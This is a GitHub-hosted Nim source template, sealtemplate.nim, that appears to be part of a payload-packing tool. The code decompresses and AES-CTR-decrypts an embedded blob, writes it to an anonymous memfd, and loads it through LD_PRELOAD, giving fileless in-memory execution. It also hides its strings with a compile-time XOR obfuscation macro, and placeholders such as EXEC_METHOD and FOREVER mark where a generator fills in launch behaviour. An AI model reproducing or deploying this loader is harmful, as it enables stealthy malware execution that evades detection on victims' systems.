-
Notifications
You must be signed in to change notification settings - Fork 5
/
sealtemplate.nim
71 lines (49 loc) · 1.6 KB
/
sealtemplate.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import syscall, std/os, std/osproc
import std/strformat
import std/strtabs
from posix_utils import sendSignal
import nimcrypto
import zippy
import macros, hashes
type
estring = distinct string
proc xorandshift(s: estring, key: int): string {.noinline.} =
var k = key
result = string(s)
for i in 0 ..< result.len:
for f in [0, 8, 16, 24]:
result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF))
k = k +% 1
var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF
macro obf*(s: untyped): untyped =
if len($s) < 10000:
var encodedStr = xorandshift(estring($s), eCtr)
result = quote do:
xorandshift(estring(`encodedStr`), `eCtr`)
eCtr = (eCtr *% 16777619) and 0x7FFFFFFF
else:
result = s
proc toString(bytes: openarray[byte]): string =
result = newString(bytes.len)
copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len)
proc runmain() {.noconv.} =
#[ FORKS ]#
var dctx: CTR[aes128]
#[ KEY_STR ]#
#[ IV_STR ]#
const sodata: string = slurp("data.blob")
var aesdata = uncompress(sodata)
var mycode = newSeq[byte](aesdata.len)
dctx.init(aeskey, aesiv)
dctx.decrypt(aesdata.toOpenArrayByte(0, aesdata.high), mycode)
var memfd_name: cstring = "%MEMFDNAME%"
var sofd = syscall(MEMFD_CREATE, addr memfd_name[0], 1, 0)
var pid = os.getCurrentProcessId()
var memfd_path = fmt(obf("/proc/{pid}/fd/{sofd}"))
echo memfd_path
writeFile(memfd_path, toString(mycode))
var dataenv = newStringTable()
dataenv["LD_PRELOAD"] = memfd_path
#[ SIGNAL ]#
#[ FOREVER ]#
EXEC_METHOD